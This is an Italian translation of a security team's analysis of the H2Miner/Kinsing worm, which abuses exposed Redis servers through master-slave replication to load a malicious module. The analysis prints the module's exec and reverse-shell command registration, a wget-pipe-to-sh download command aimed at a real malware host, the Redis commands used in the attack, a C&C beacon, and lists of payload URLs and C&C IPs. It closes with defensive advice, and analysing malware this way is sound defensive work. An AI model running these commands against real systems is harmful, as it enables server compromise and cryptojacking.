Un giorno fa, uno dei server del mio progetto è stato attaccato da un worm simile. In cerca di una risposta alla domanda "che cos'era questo?" ho trovato un articolo straordinario del team di Alibaba Cloud Security. Poiché non ho trovato questo articolo su Habr, ho deciso di tradurlo appositamente per voi <3
Introduzione
Recentemente, il team di sicurezza di Alibaba Cloud ha rilevato un'improvvisa ondata di H2Miner. Questo tipo di worm malevolo sfrutta l'assenza di autorizzazione o le password deboli per Redis come porte d'accesso ai vostri sistemi, quindi sincronizza il proprio modulo malevolo con lo slave tramite la sincronizzazione master-slave e, infine, carica questo modulo malevolo sulla macchina attaccata ed esegue istruzioni dannose.
In passato, gli attacchi ai vostri sistemi venivano principalmente effettuati utilizzando un metodo che prevedeva attività pianificate o chiavi SSH, che venivano registrate sulla vostra macchina dopo che l'intruso accedeva a Redis. Fortunatamente, questo metodo non può essere utilizzato frequentemente a causa di problemi di controllo delle autorizzazioni o di diverse versioni del sistema. Tuttavia, questo metodo di caricamento di moduli malevoli può eseguire direttamente i comandi dell'attaccante o accedere a una shell, il che è pericoloso per il vostro sistema.
A causa dell'alto numero di server Redis disponibili su Internet (quasi 1 milione), il team di sicurezza di Alibaba Cloud, come promemoria amichevole, raccomanda agli utenti di non fornire accesso a Redis dalla rete e di controllare regolarmente l'affidabilità delle proprie password, nonché di verificare se sono vulnerabili a un attacco di forza bruta.
H2Miner
H2Miner è un botnet di mining per sistemi basati su Linux, che può infiltrarsi nel vostro sistema in vari modi, tra cui l'assenza di autorizzazione in Hadoop yarn, Docker e la vulnerabilità di esecuzione remota dei comandi Redis (RCE). Il botnet funziona caricando script malevoli e malware per estrarre i vostri dati, espandere orizzontalmente l'attacco e mantenere la comunicazione con il comando e il controllo (C&C).
Redis RCE
Pavel Toporkov ha condiviso queste informazioni durante ZeroNights 2018. Dopo la versione 4.0, Redis supporta la funzione di caricamento di moduli esterni, che consente agli utenti di caricare file so compilati in C in Redis per eseguire determinate comandi di Redis. Questa funzione, sebbene utile, presenta una vulnerabilità attraverso la quale, in modalità master-slave, i file possono essere sincronizzati con lo slave tramite la modalità fullresync. Questo può essere sfruttato da un attaccante per trasferire file so dannosi. Dopo il completamento del trasferimento, i malintenzionati caricano il modulo sull'istanza Redis attaccata ed eseguono qualsiasi comando.
Analisi del worm dannoso
Recentemente, il team di sicurezza di Alibaba Cloud ha scoperto che la dimensione del gruppo di minatori dannosi H2Miner è aumentata drasticamente. Secondo l'analisi, il processo complessivo di attacco si presenta nel seguente modo:

H2Miner utilizza RCE Redis per un attacco completo. Inizialmente, i malintenzionati attaccano i server Redis non protetti o i server con password deboli.
Poi utilizzano il comando config set dbfilename red2.so per cambiare il nome del file. Successivamente, gli attaccanti eseguono il comando slaveof per impostare l'indirizzo host della replica master-slave.
Quando l'istanza Redis attaccata stabilisce una connessione master-slave con Redis dannoso, che appartiene all'attaccante, l'attaccante invia il modulo infetto tramite il comando fullresync per sincronizzare i file. Il file red2.so verrà quindi caricato sulla macchina attaccata. Dopodiché, i malintenzionati utilizzano il modulo di caricamento .\/red2.so per caricare questo file so. Il modulo può eseguire comandi dell'attaccante o avviare una connessione inversa (backdoor) per ottenere accesso alla macchina attaccata.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Dopo aver eseguito un comando dannoso, come / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, l'attaccante azzererà il nome del file di backup e scaricherà il modulo di sistema per cancellare le tracce. Tuttavia, il file red2.so rimarrà sulla macchina attaccata. Si raccomanda agli utenti di prestare attenzione alla presenza di un file sospetto in cartella della loro istanza Redis.
In aggiunta alla distruzione di alcuni processi dannosi per il furto di risorse, l'attaccante ha seguito uno scenario malevolo, caricando e avviando file dannosi in forma binaria per . Questo significa che il nome del processo o il nome della cartella contenente kinsing sull'host possono indicare che questa macchina è stata infettata da questo virus.
Secondo i risultati del reverse engineering, il malware esegue principalmente le seguenti funzioni:
- Download ed esecuzione di file
- Mining
- Mantenere la connessione C&C e eseguire i comandi dell'attaccante

Utilizza masscan per la scansione esterna, per espandere l'influenza. Inoltre, l'indirizzo IP del server C&C è hardcoded nel programma, e l'host attaccato interagirà con il server di comunicazione C&C attraverso richieste HTTP, dove le informazioni sul zombie (server compromesso) saranno identificate nell'intestazione HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Altri metodi di attacco

Indirizzi e link utilizzati dal worm
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
c&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Consiglio
Innanzitutto, Redis non dovrebbe essere accessibile da Internet e dovrebbe essere protetto con una password sicura. Inoltre, è importante che i client controllino l'assenza del file red2.so nella directory di Redis e l'assenza di "kinsing" nel nome del file/processo sull'host.
Fonte: habr.com
